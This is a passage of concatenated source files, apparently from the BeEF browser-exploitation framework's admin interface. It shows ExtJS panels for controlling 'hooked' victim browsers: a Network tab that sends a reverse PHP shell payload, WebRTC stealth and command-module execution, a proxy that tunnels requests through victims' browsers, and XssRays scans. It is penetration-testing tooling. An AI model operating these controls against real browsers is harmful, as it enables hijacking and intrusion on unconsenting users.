+ ip + '...'); jQuery.ajax({ contentType: 'application/json', data: JSON.stringify({ "rproto": proto, "rhost": ip, "rport": port, "lhost": lhost, "lport": lport, "payload": "reverse_php" }), dataType: 'json', type: 'POST', url: "/api/modules/" + zombie.session + "/" + mod_id + "?token=" + token, async: false, processData: false, success: function (data) { commands_statusbar.update_sent("Command [id: " + data.command_id + "] sent successfully"); }, error: function () { commands_statusbar.update_fail('Error sending command'); } }); } }] }); grid.rowCtxMenu.showAt(e.getXY()); }, afterrender: function (datagrid) { datagrid.store.reload({params: {nonce: Ext.get("nonce").dom.value}}); } } }); var services_panel = new Ext.Panel({ id: 'network-services-panel-zombie-'+zombie.session, title: 'Services', items:[services_panel_grid], layout: 'fit', listeners: { activate: function(services_panel) { services_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} }); } } }); /* * The Network tab constructor ********************************************/ ZombieTab_Network.superclass.constructor.call(this, { id: 'zombie-network-tab-zombie-'+zombie.session, title: 'Network', activeTab: 0, viewConfig: { forceFit: true, stripRows: true, type: 'fit' }, items: [map_panel, hosts_panel, services_panel], bbar: commands_statusbar, listeners: { } }); }; Ext.extend(ZombieTab_Network, Ext.TabPanel, {}); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRTC.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* * The RTC tab panel for the selected zombie browser. * Loaded in /ui/panel/index.html */ ZombieTab_Rtc = function(zombie) { var zombie_id = beefwui.get_hb_id(zombie.session); // The status bar. var commands_statusbar = new Beef_StatusBar('webrtc-bbar-zombie-'+zombie.session); // RESTful API token var token = beefwui.get_rest_token(); /* * The panel that displays all identified network services grouped by host ********************************************/ var rtc_events_panel_store = new Ext.ux.data.PagingJsonStore({ storeId: 'rtc-events-store-zombie-'+zombie.session, proxy: new Ext.data.HttpProxy({ url: '/api/webrtc/events/'+zombie_id+'?token='+token, method: 'GET' }), remoteSort: false, autoDestroy: true, autoLoad: false, root: 'events', fields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at'], sortInfo: {field: 'id', direction: 'ASC'} }); var req_pagesize = 50; var rtc_events_panel_bbar = new Ext.PagingToolbar({ pageSize: req_pagesize, store: rtc_events_panel_store, displayInfo: true, displayMsg: 'Displaying RTC events {0} - {1} of {2}', emptyMsg: 'No events to display' }); var rtc_events_panel_grid = new Ext.grid.GridPanel({ id: 'rtc-events-grid-zombie-'+zombie.session, store: rtc_events_panel_store, bbar: rtc_events_panel_bbar, border: false, loadMask: {msg:'Loading events...'}, viewConfig: { forceFit: true }, view: new Ext.grid.GridView({ forceFit: true, emptyText: "No events", enableRowBody:true }), columns: [ {header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true}, {header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true}, {header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){ if (value === zombie_id) { return $jEncoder.encoder.encodeForHTML(value) + " (selected)"; } else { // return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value) + ")"; return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value)['ip'] + ")"; } }}, {header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}} ], listeners: { contextmenu: function(e, element, options) { e.preventDefault(); }, containercontextmenu: function(view, e) { e.preventDefault(); }, rowcontextmenu: function(grid, rowIndex, e) { e.preventDefault(); grid.getSelectionModel().selectRow(rowIndex); if (!!grid.rowCtxMenu) { grid.rowCtxMenu.destroy(); } var record = grid.selModel.getSelected(); if (record.json.status==="Connected") { grid.rowCtxMenu = new Ext.menu.Menu({ items: [ { text: "Command Peer to Stealth", handler: function() { if (zombie_id === record.json.hb_id) { var from = record.json.hb_id; var to = record.json.target_id; } else { var from = record.json.target_id; var to = record.json.hb_id; } commands_statusbar.update_sending("Sending stealth command"); var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token(); Ext.Ajax.request({ url: url, method: 'POST', headers: {'Content-Type': 'application/json; charset=UTF-8'}, jsonData: { 'from': from, 'to': to, 'message': "!gostealth" }, success: function(data){ commands_statusbar.update_sent("Stealth command sent successfully"); }, error: function(){ commands_statusbar.update_fail("Error sending stealth command"); } }); } },{ text: "Execute Command Module via RTC", handler: function() { var url = "/api/webrtc/cmdexec?token=" + beefwui.get_rest_token(); var cmd_id = prompt("Enter command module ID:"); if (!cmd_id || cmd_id == "" || isNaN(cmd_id)) { commands_statusbar.update_fail('Invalid command module ID'); return; } var cmd_opts = prompt("Parameters:"); if (cmd_opts == "") { cmd_opts = "[]"; } try { cmd_opts = JSON.parse(cmd_opts); } catch (e) { commands_statusbar.update_fail("Invalid JSON") return; } if (zombie_id === record.json.hb_id) { var from = record.json.hb_id; var to = record.json.target_id; } else { var from = record.json.target_id; var to = record.json.hb_id; } commands_statusbar.update_sending("Sending command [id: " + cmd_id + "]"); Ext.Ajax.request({ url: url, method: 'POST', headers: {'Content-Type': 'application/json; charset=UTF-8'}, jsonData: { 'from': from, 'to': to, 'cmdid': cmd_id, 'options': cmd_opts }, success: function(data){ commands_statusbar.update_sent("Command [id: " + cmd_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail("Error executing module [id: " + cmd_id + "]"); } }); } } ] }); grid.rowCtxMenu.showAt(e.getXY()); } else if (record.json.status==="Stealthed!!") { grid.rowCtxMenu = new Ext.menu.Menu({ items: [ { text: "Command Peer to un-stealth", handler: function() { if (zombie_id === record.json.hb_id) { commands_statusbar.update_sending("Sending un-stealth command"); var url = "/api/webrtc/msg?token=" + beefwui.get_rest_token(); Ext.Ajax.request({ url: url, method: 'POST', headers: {'Content-Type': 'application/json; charset=UTF-8'}, jsonData: { 'from': record.json.hb_id, 'to': record.json.target_id, 'message': "!endstealth" }, success: function(data){ commands_statusbar.update_sent("Un-stealth command sent successfully"); }, error: function(){ commands_statusbar.update_fail("Error sending un-stealth command"); } }); } } },{ text: "Execute Command Module via RTC", handler: function() { var url = "/api/webrtc/cmdexec?token=" + beefwui.get_rest_token(); var cmd_id = prompt("Enter command module ID:"); if (!cmd_id || cmd_id == "" || isNaN(cmd_id)) { commands_statusbar.update_fail('Invalid command module ID'); return; } var cmd_opts = prompt("Parameters:"); if (cmd_opts == "") { cmd_opts = "[]"; } try { cmd_opts = JSON.parse(cmd_opts); } catch (e) { commands_statusbar.update_fail("Invalid JSON") return; } commands_statusbar.update_sending("Sending command [id: " + cmd_id + "]") Ext.Ajax.request({ url: url, method: 'POST', headers: {'Content-Type': 'application/json; charset=UTF-8'}, jsonData: { 'from': record.json.hb_id, 'to': record.json.target_id, 'cmdid': cmd_id, 'options': cmd_opts }, success: function(data){ commands_statusbar.update_sent("Command [id: " + cmd_id + "] sent successfully"); }, error: function(){ commands_statusbar.update_fail("Error executing module [id: " + cmd_id + "]"); } }); } } ] }); grid.rowCtxMenu.showAt(e.getXY()); } }, afterrender: function(datagrid) { datagrid.store.reload({params: {nonce: Ext.get("nonce").dom.value}}); } } }); var rtc_events_panel = new Ext.Panel({ id: 'rtc-events-host-panel-zombie-'+zombie.session, title: 'Peers', items:[rtc_events_panel_grid], layout: 'fit', listeners: { activate: function(hosts_panel) { rtc_events_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} }); } } }); /* * The panel that displays all command modules executed via RTC ********************************************/ var rtc_moduleevents_panel_store = new Ext.ux.data.PagingJsonStore({ storeId: 'rtc-moduleevents-store-zombie-'+zombie.session, proxy: new Ext.data.HttpProxy({ url: '/api/webrtc/cmdevents/'+zombie_id+'?token='+token, method: 'GET' }), remoteSort: false, autoDestroy: true, autoLoad: false, root: 'events', fields: ['id', 'hb_id', 'target_id', 'status', 'created_at', 'updated_at', 'mod'], sortInfo: {field: 'id', direction: 'ASC'} }); var rtc_moduleevents_panel_bbar = new Ext.PagingToolbar({ pageSize: req_pagesize, store: rtc_moduleevents_panel_store, displayInfo: true, displayMsg: 'Displaying RTC command events {0} - {1} of {2}', emptyMsg: 'No events to display' }); var rtc_moduleevents_panel_grid = new Ext.grid.GridPanel({ id: 'rtc-moduleevents-grid-zombie-'+zombie.session, store: rtc_moduleevents_panel_store, bbar: rtc_moduleevents_panel_bbar, border: false, loadMask: {msg:'Loading events...'}, viewConfig: { forceFit: true }, view: new Ext.grid.GridView({ forceFit: true, emptyText: "No events", enableRowBody:true }), columns: [ {header: 'Id', width: 5, sortable: true, dataIndex: 'id', hidden:true}, {header: 'From', width: 10, sortable: true, dataIndex: 'hb_id', hidden:true}, {header: 'Peer', width: 10, sortable: true, dataIndex: 'target_id', renderer: function(value){ if (value === zombie_id) { return $jEncoder.encoder.encodeForHTML(value) + " (selected)"; } else { return $jEncoder.encoder.encodeForHTML(value) + " (" + beefwui.get_info_from_id(value)['ip'] + ")"; } }}, {header: 'Module', width: 10, sortable: true, dataIndex: 'mod', renderer: function(value){ return $jEncoder.encoder.encodeForHTML(value); }}, {header: 'Status', width: 20, sortable: true, dataIndex: 'status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Created At', width: 10, sortable: true, dataIndex: 'created_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Updated At', width: 10, sortable: true, dataIndex: 'updated_at', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}} ] }); var rtc_moduleevents_panel = new Ext.Panel({ id: 'rtc-moduleevents-host-panel-zombie-'+zombie.session, title: 'Command module results', items:[rtc_moduleevents_panel_grid], layout: 'fit', listeners: { activate: function(hosts_panel) { rtc_moduleevents_panel.items.items[0].store.reload({ params: {nonce: Ext.get ("nonce").dom.value} }); } } }); /* * The Network tab constructor ********************************************/ ZombieTab_Rtc.superclass.constructor.call(this, { id: 'zombie-rtc-tab-zombie-'+zombie.session, title: 'WebRTC', activeTab: 0, viewConfig: { forceFit: true, stripRows: true, type: 'fit' }, items: [rtc_events_panel,rtc_moduleevents_panel], bbar: commands_statusbar, listeners: { } }); }; Ext.extend(ZombieTab_Rtc, Ext.TabPanel, {}); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabRider.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* * The request Tab panel for the selected zombie. * Loaded in /ui/panel/index.html */ ZombieTab_Requester = function(zombie) { // The status bar. var commands_statusbar = new Beef_StatusBar('requester-bbar-zombie-'+zombie.session); /* * The panel used to forge raw HTTP requests. ********************************************/ var requests_panel = new Ext.Panel({ id: 'requester-forge-requests-zombie-'+zombie.session, title: 'Forge Request', layout: 'fit' }); /* * The panel used to select hooked browsers as proxy endpoints. * TODO: Add list of hooked browsers here ********************************************/ var proxy_panel = new Ext.Panel({ id: 'requester-proxy-zombie-'+zombie.session, title: 'Help', layout: 'fit', padding: '10 10 10 10', html: "

    The Tunneling Proxy allows you to use a hooked browser as a proxy. Simply right-click a browser from the Hooked Browsers tree to the left and select \"Use as Proxy\".

    The proxy runs on localhost port 6789 by default. Each request sent through the Proxy is recorded in the History panel in the Proxy tab. Click a history item to view the HTTP response headers and response body.

    To manually forge an arbitrary HTTP request use the \"Forge Request\" tab from the Proxy tab.

    For more information see: https://github.com/beefproject/beef/wiki/Tunneling

    ", listeners: { activate: function(proxy_panel) { // to do: refresh list of hooked browsers } } }); /* * TODO: The panel used to configure the proxy on-the-fly ********************************************/ /* var options_panel = new Ext.Panel({ id: 'requester-options-zombie-'+zombie.session, title: 'Proxy', layout: 'fit' }); */ /* * The panel that displays the history of all requests performed. ********************************************/ var history_panel_store = new Ext.ux.data.PagingJsonStore({ storeId: 'requester-history-store-zombie-'+zombie.session, proxy: new Ext.data.HttpProxy({ method: 'GET', url: '/api/requester/requests/' + zombie.session + '?token=' + beefwui.get_rest_token(), }), remoteSort: false, autoDestroy: true, autoLoad: false, root: 'requests', fields: ['proto', 'domain', 'port', 'method', 'request_date', 'response_date','id', 'has_ran', 'path','response_status_code', 'response_status_text', 'response_port_status'], sortInfo: {field: 'request_date', direction: 'DESC'}, }); var req_pagesize = 30; var history_panel_bbar = new Ext.PagingToolbar({ pageSize: req_pagesize, store: history_panel_store, displayInfo: true, displayMsg: 'Displaying history {0} - {1} of {2}', emptyMsg: 'No history to display' }); var history_panel_grid = new Ext.grid.GridPanel({ id: 'requester-history-grid-zombie-'+zombie.session, store: history_panel_store, bbar: history_panel_bbar, border: false, loadMask: {msg:'Loading History...'}, viewConfig: { forceFit:true }, view: new Ext.grid.GridView({ forceFit: true, emptyText: "No History", enableRowBody:true }), columns: [ {header: 'Id', width: 10, sortable: true, dataIndex: 'id', hidden:true}, {header: 'Proto', width: 30, sortable: true, dataIndex: 'proto', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Domain', sortable: true, dataIndex: 'domain', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Port', width: 30, sortable: true, dataIndex: 'port', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Method', width: 30, sortable: true, dataIndex: 'method', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Path', sortable: true, dataIndex: 'path', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Res Code', width: 35, sortable: true, dataIndex: 'response_status_code', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Res Text', width: 50, sortable: true, dataIndex: 'response_status_text', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Port Status', width: 40, sortable: true, dataIndex: 'response_port_status', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Processed', width: 50, sortable: true, dataIndex: 'has_ran', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Req Date', width: 50, sortable: true, dataIndex: 'request_date', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Res Date', width: 50, sortable: true, dataIndex: 'response_date', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}} ], listeners: { rowclick: function(grid, rowIndex) { var tab_panel = Ext.getCmp('zombie-requester-tab-zombie-'+zombie.session); var r = grid.getStore().getAt(rowIndex).data; if(r.has_ran != "complete") { commands_statusbar.update_fail("Response for this request has not been received yet."); return; } if(!tab_panel.get('requester-response-'+r.id)) { genResultTab(r, zombie, commands_statusbar); } }, afterrender: function(datagrid) { datagrid.store.reload({params:{start:0,limit:req_pagesize, sort: "date", dir:"DESC"}}); }, // History grid context menu (right click on a row in the history grid) rowcontextmenu: function(grid, rowIndex, e){ e.preventDefault(); grid.getSelectionModel().selectRow(rowIndex); if (!!grid.rowCtxMenu) { grid.rowCtxMenu.destroy(); } var record = grid.selModel.getSelected(); grid.rowCtxMenu = new Ext.menu.Menu({ items: [{ text: 'View Response', iconCls: 'network-host-ctxMenu-web', handler: function() { if(record.get('has_ran') != "complete") { commands_statusbar.update_fail("Response for this request has not been received yet."); return; } if(!history_panel.get('requester-response-'+record.get('id'))) { genResultTab(grid.getStore().getAt(rowIndex).data, zombie, commands_statusbar); } } },{ text: 'Delete Response', iconCls: 'zombie-tree-ctxMenu-delete', handler: function() { var response_id = record.get('id'); if(record.get('has_ran') != "complete") { commands_statusbar.update_fail("Response for this request has not been received yet."); return; } else { if (!confirm('Are you sure you want to remove response [id: '+response_id+'] ?')) { commands_statusbar.update_fail('Cancelled'); return; } commands_statusbar.update_sending('Removing network host [id: '+ response_id +'] ...'); deleteResponse(grid.getStore().getAt(rowIndex).data, zombie, commands_statusbar); } } }] }); grid.rowCtxMenu.showAt(e.getXY()); } } }); var history_panel = new Ext.Panel({ id: 'requester-history-panel-zombie-'+zombie.session, title: 'History', items:[history_panel_grid], layout: 'fit', listeners: { activate: function(history_panel) { history_panel.items.items[0].store.reload({params: {nonce: Ext.get("nonce").dom.value}}); } } }); // Return the extension_requester_http table row ID given a grid row index function getHttpDbId(grid, rowIndex){ var row = grid.getStore().getAt(rowIndex).data; var result = null; if(row != null){ result = row.id; } return result; } // Function generating the requests panel to send raw requests //------------------------------------------------------------- function genRawRequestPanel(zombie, bar, value) { var form = new Ext.FormPanel({ title: 'Forge Raw HTTP Request', id: 'requester-request-form-zombie'+zombie.session, url: '/api/requester/send/' + zombie.session + '?token=' + beefwui.get_rest_token(), hideLabels : true, border: false, padding: '3px 5px 0 5px', items:[{ xtype: 'checkboxgroup', //border: true, //fieldLabel : 'Request Options', items: [{ boxLabel: 'SSL', name: 'ssl', inputValue: '1', checked: false, // (window.location.protocol == 'https'), id: 'requester-forge-requests-ssl' }] },{ xtype: 'textarea', id: 'raw-request-zombie-'+zombie.session, name: 'raw_request', width: '100%', height: '100%', allowBlank: false }], buttons: [{ text: 'Send', handler: function() { var use_ssl = Ext.getCmp('requester-forge-requests-ssl').getValue(); if (use_ssl) var proto = 'https'; else var proto = 'http'; var form = Ext.getCmp('requester-request-form-zombie'+zombie.session).getForm(); bar.update_sending('Sending request to ' + zombie.ip + '...'); form.submit({ params: { raw_request: Ext.getCmp('raw-request-zombie-'+zombie.session).getValue(), proto: proto }, success: function() { bar.update_sent("Request sent to hooked browser " + zombie.ip); }, failure: function() { bar.update_fail("Error! Invalid http request."); } }); } }] }); if(!value) { if (zombie.domain) { value = "GET /demos/secret_page.html HTTP/1.1\n"; value += "Host: "+zombie.domain+":"+zombie.port+"\n"; } else value = "GET / HTTP/1.1\nHost: \n"; } form.get('raw-request-zombie-'+zombie.session).value = value; panel = Ext.getCmp('requester-forge-requests-zombie-'+zombie.session); panel.setTitle('Forge Request'); panel.add(form); }; // Function to delete a response from the requester history //------------------------------------------------------------------ function deleteResponse(request, zombie, bar) { Ext.Ajax.request({ url: '/api/requester/response/' + request.id + '?token=' + beefwui.get_rest_token(), method: 'DELETE', loadMask: true, success: function(response) { var xhr = Ext.decode(response.responseText); if (xhr['success'] == 'true') { bar.update_sent("Deleted response."); } else { bar.update_fail("Error! Could not delete the response."); } }, failure: function() { bar.update_fail("Error! Could not delete the response."); } }); } // Function generating the panel that shows the results of a request // This function is called when the user clicks on a row in the grid // showing the results in the history. //------------------------------------------------------------------ function genResultTab(request, zombie, bar) { var tab_panel = Ext.getCmp('zombie-requester-tab-zombie-'+zombie.session); bar.update_sending('Getting response...'); Ext.Ajax.request({ url: '/api/requester/response/' + request.id + '?token=' + beefwui.get_rest_token(), loadMask: true, success: function(response) { var xhr = Ext.decode(response.responseText); if (xhr['success'] !== 'true') { bar.update_fail("Error! Could not load the response."); return; } var tab_result_response_headers = new Ext.Panel({ title: 'Response Headers', border: false, collapsed: true, layout: 'fit', padding: '5px 5px 5px 5px', items:[new Ext.form.TextArea({id: 'requester-response-res-headers-'+request.id, value: xhr.result.response_headers + "\n"})] }); var tab_result_response_body = new Ext.Panel({ title: 'Response Body', border: false, collapsed: false, layout: 'fit', padding: '5px 5px 5px 5px', items:[new Ext.form.TextArea({id: 'requester-response-res-body-'+request.id, value: xhr.result.response + "\n"})] }); var tab_result_request = new Ext.Panel({ title: 'Request', border: false, collapsed: true, layout: 'fit', padding: '5px 5px 5px 5px', items:[new Ext.form.TextArea({id: 'requester-response-req-'+request.id, value: xhr.result.request})] }); var tab_result_accordion = new Ext.Panel({ id: 'requester-response-'+request.id, title: $jEncoder.encoder.encodeForHTML(request.path), split: true, border: false, layout:'accordion', closable: true, items:[tab_result_request, tab_result_response_headers, tab_result_response_body] }); tab_panel.add(tab_result_accordion); tab_panel.activate(tab_result_accordion.id); bar.update_sent("Displaying response."); }, failure: function() { bar.update_fail("Error! Could not retrieve the response."); } }); }; ZombieTab_Requester.superclass.constructor.call(this, { id: 'zombie-requester-tab-zombie-'+zombie.session, title: 'Proxy', activeTab: 0, viewConfig: { forceFit: true, type: 'fit' }, items: [history_panel, requests_panel, proxy_panel], bbar: commands_statusbar, listeners: { afterrender : function(){ genRawRequestPanel(zombie, commands_statusbar); } } }); }; Ext.extend(ZombieTab_Requester, Ext.TabPanel, {}); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/tabs/ZombieTabXssRays.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* * The XssRays Tab panel for the selected zombie. */ ZombieTab_XssRaysTab = function(zombie) { var commands_statusbar = new Beef_StatusBar('xssrays-bbar-zombie-'+zombie.session); var req_pagesize = 30; // RESTful API token var token = BeefWUI.get_rest_token(); var xssrays_config_panel = new Ext.Panel({ id: 'xssrays-config-zombie-'+zombie.session, title: 'Scan Config', layout: 'fit' }); var xssrays_logs_store = new Ext.ux.data.PagingJsonStore({ storeId: 'xssrays-logs-store-zombie-' + zombie.session, remoteSort: false, autoDestroy: true, autoLoad: false, proxy: new Ext.data.HttpProxy({ method: 'GET', url: '/api/xssrays/rays/' + zombie.session + '?token=' + token }), root: 'rays', fields: ['id', 'vector_method', 'vector_name', 'vector_poc'], sortInfo: {field: 'id', direction: 'DESC'}, }); var xssrays_logs_bbar = new Ext.PagingToolbar({ pageSize: req_pagesize, store: xssrays_logs_store, displayInfo: true, displayMsg: 'Displaying history {0} - {1} of {2}', emptyMsg: 'No history to display' }); var xssrays_logs_grid = new Ext.grid.GridPanel({ id: 'xssrays-logs-grid-zombie-' + zombie.session, store: xssrays_logs_store, bbar: xssrays_logs_bbar, border: false, loadMask: {msg:'Loading History...'}, viewConfig: { forceFit:true }, view: new Ext.grid.GridView({ forceFit: true, emptyText: "No History", enableRowBody:true }), columns: [ {header: 'Id', width: 10, sortable: true, dataIndex: 'id', hidden:true}, {header: 'Vector Method', width: 30, sortable: true, dataIndex: 'vector_method', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Vector Name', width: 40, sortable: true, dataIndex: 'vector_name', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}}, {header: 'Vector PoC', sortable: true, dataIndex: 'vector_poc', renderer: function(value){return $jEncoder.encoder.encodeForHTML(value)}} ], listeners: { afterrender: function(datagrid) { datagrid.store.reload({params:{start:0,limit:req_pagesize, sort: "date", dir:"DESC"}}); } } }); var xssrays_logs_panel = new Ext.Panel({ id: 'xssrays-logs-panel-zombie-'+zombie.session, title: 'Logs', items:[xssrays_logs_grid], layout: 'fit', listeners: { activate: function(xssrays_logs_panel) { xssrays_logs_panel.items.items[0].store.reload(); } } }); function genScanSettingsPanel(zombie, bar, value) { var form = new Ext.FormPanel({ title: 'Scan settings', id: 'xssrays-config-form-zombie'+zombie.session, url: '/api/xssrays/scan/' + zombie.session + '?token=' + token, labelWidth: 230, border: false, padding: '3px 5px 0 5px', defaults: {width: 100}, defaultType: 'textfield', items:[{ fieldLabel: 'Clean Timeout (milliseconds before the injected iFrames are removed from the DOM)', name: 'clean_timeout', allowBlank:false, value: 5000, padding: '10px 5px 0 5px' },{ xtype:'checkbox', id:'cross_origin', fieldLabel: 'Cross-origin (check for XSS on cross-origin resources)', name: 'cross_origin', checked: true }], buttons: [{ text: 'Start Scan', handler: function() { var form = Ext.getCmp('xssrays-config-form-zombie'+zombie.session).getForm(); bar.update_sending('Starting XssRays on ' + zombie.ip + ' ...'); form.submit({ params: { cross_origin: document.getElementById('cross_origin').checked }, success: function() { bar.update_sent("Scan settings saved for hooked browser [" + zombie.ip + "]. XssRays will be added to victim DOM on next polling."); }, failure: function() { bar.update_fail("Error! Something went wrong saving scan settings."); } }); } }] }); panel = Ext.getCmp('xssrays-config-zombie-'+zombie.session); panel.setTitle('Scan Config'); panel.add(form); } ZombieTab_XssRaysTab.superclass.constructor.call(this, { id: 'xssrays-log-tab-'+zombie.session, title: 'XssRays', activeTab: 0, viewConfig: { forceFit: true, type: 'fit' }, items: [xssrays_logs_panel, xssrays_config_panel], bbar: commands_statusbar, listeners: { afterrender : function(){ genScanSettingsPanel(zombie, commands_statusbar); } } }); }; Ext.extend(ZombieTab_XssRaysTab, Ext.TabPanel, {} ); ================================================ FILE: extensions/admin_ui/media/javascript/ui/panel/zombiesTreeList.js ================================================ // // Copyright (c) 2006-2026 Wade Alcorn - wade@bindshell.net // Browser Exploitation Framework (BeEF) - https://beefproject.com // See the file 'doc/COPYING' for copying permission // /* * The zombie panel located on the left hand side of the interface. */ zombiesTreeList = function(id) { var title = id.slice(0,1).toUpperCase() + id.slice(1); zombiesTreeList.superclass.constructor.call(this, { id:'zombie-tree-'+id, region:'west', title: title, split:true, rootVisible:false, lines:false, autoScroll:true, useArrows:true, root: new Ext.tree.TreeNode('My Zombies'), collapseFirst:false }); //the tree node that contains the list of online hooked browsers this.online_hooked_browsers_treenode = this.root.appendChild( new Ext.tree.TreeNode({ qtip: "Online hooked browsers", text:'Online Browsers', cls:'online-zombies-node', expanded:true }) ); //the tree node that contains the list of offline hooked browsers this.offline_hooked_browsers_treenode = this.root.appendChild( new Ext.tree.TreeNode({ qtip: "Offline hooked browsers", text:'Offline Browsers', cls:'offline-zombies-node', expanded:false }) ); }; /* * The Tree panel that contains the zombie list. */ Ext.extend(zombiesTreeList, Ext.tree.TreePanel, { //saves the configuration for the tree tree_configuration: { 'sub-branch' : 'domain' }, //store the list of online hooked browsers in an array online_hooked_browsers_array: new Array, //store the list of offline hooked browsers in an array offline_hooked_browsers_array: new Array, //add a context menu that will contain common action shortcuts for HBs contextMenu: new Ext.menu.Menu({ items: <%= context_menu = [] sep = { xtype: 'menuseparator' } if (BeEF::Core::Configuration.instance.get("beef.extension.proxy.enable")) context_menu << { id: 'use_as_proxy', text: 'Use as Proxy', iconCls: 'zombie-tree-ctxMenu-proxy' } context_menu << sep end if (BeEF::Core::Configuration.instance.get("beef.extension.xssrays.enable")) context_menu << { id: 'xssrays_hooked_origin', text: 'Launch XssRays on Hooked Domain', iconCls: 'zombie-tree-ctxMenu-xssrays' } context_menu << sep end if (BeEF::Core::Configuration.instance.get("beef.extension.webrtc.enable")) context_menu << { id: 'rtc_caller', text: 'Set as WebRTC Caller', iconCls: 'zombie-tree-ctxMenu-rtc' } context_menu << { id: 'rtc_receiver', text: 'Set as WebRTC Receiver and GO', iconCls: 'zombie-tree-ctxMenu-rtc', activated: false } context_menu << sep end context_menu << { id: 'delete_zombie', text: 'Delete Zombie', iconCls: 'zombie-tree-ctxMenu-delete' } context_menu.to_json %>, listeners: { itemclick: function(item, object) { var hb_id = this.contextNode.id.split('-')[2]; switch (item.id) { case 'use_as_proxy': Ext.Ajax.request({ url: '/api/proxy/setTargetZombie?token=' + beefwui.get_rest_token(), method: 'POST', headers: {'Content-Type': 'application/json; charset=UTF-8'}, jsonData: {'hb_id': escape(hb_id)} }); break; case 'xssrays_hooked_origin': Ext.Ajax.request({ url: '/api/xssrays/scan/' + escape(hb_id) + '?token=' + beefwui.get_rest_token(), method: 'POST' }); break; case 'rtc_caller': beefwui.rtc_caller = hb_id; break; case 'rtc_receiver': beefwui.rtc_receiver = hb_id; var url = "/api/webrtc/go?token=" + beefwui.get_rest_token(); Ext.Ajax.request({ url: url, method: 'POST', headers: {'Content-Type': 'application/json; charset=UTF-8'}, jsonData: { 'from': beefwui.get_hb_id(beefwui.rtc_caller), 'to': beefwui.get_hb_id(beefwui.rtc_receiver), 'verbose': true } }); break; case 'delete_zombie': var token = beefwui.get_rest_token(); if (!confirm('Are you sure you want to delete zombie [id: ' + hb_id + '] ?\nWarning: this will remove all zombie related data, including logs and command results!')) { //commands_statusbar.update_fail('Cancelled'); return; } //commands_statusbar.update_sending('Removing zombie [id: ' + hb_id + '] ...'); var url = "/api/hooks/" + escape(hb_id) + "/delete?token=" + token; Ext.Ajax.request({ url: url, method: 'GET' }); break; } } } }), listeners: { //creates a new hooked browser tab when a hooked browser is clicked click: function(node, e) { globalnode = node; if(!node.leaf) return; window.location.hash = "#id=" + node.attributes.session; }, //show the context menu when a HB is right-clicked contextmenu: function(node, event){ if(!node.leaf) return; node.select(); // if (typeof(beefwui.rtc_caller) === 'undefined') { // node.getOwnerTree().contextMenu.items.add({ // id: 'rtc_caller', // text: 'Set as WebRTC Caller', // iconCls: 'zombie-tree-ctxMenu-xssrays' // }); // } var c = node.getOwnerTree().contextMenu; try{ c.contextNode = node; if (typeof(beefwui.rtc_caller) === 'undefined') { c.items.get('rtc_receiver').disable(); } else if (beefwui.rtc_caller === node.id.substr(-80)) { c.items.get('rtc_receiver').disable(); } else { c.items.get('rtc_receiver').enable(); } } catch(e) { // could not render the webrtc context menu - is webrtc extenion disabled? } // c.items['rtc_receiver'].disable(); // c.add({ // id: 'rtc_caller', // text: 'Set as WebRTC Caller', // iconCls: 'zombie-tree-ctxMenu-xssrays'}); c.showAt(event.getXY()); }, //update the set of rules when a checkbox is clicked checkchange: function(node, checked) { } }, /* * Updates the configuration of the tree. * @param: {Literal Object} the new configuration. */ updateConfiguration: function(new_configuration) { Ext.apply(this.tree_configuration, new_configuration); }, /* * Reloads the tree. This function is useful after you have updated the configuration * of the tree. */ reload: function() { //deletes all the nodes in the online hooked browser branch try {this.online_hooked_browsers_treenode.removeAll(true);} catch(e) {}; //adds back the hooked browser to the online branch Ext.each(this.online_hooked_browsers_array, function(online_hooked_browser) { this.addZombie(online_hooked_browser, online_hooked_browser["online"], online_hooked_browser["checkbox"]); }, this) //expands the 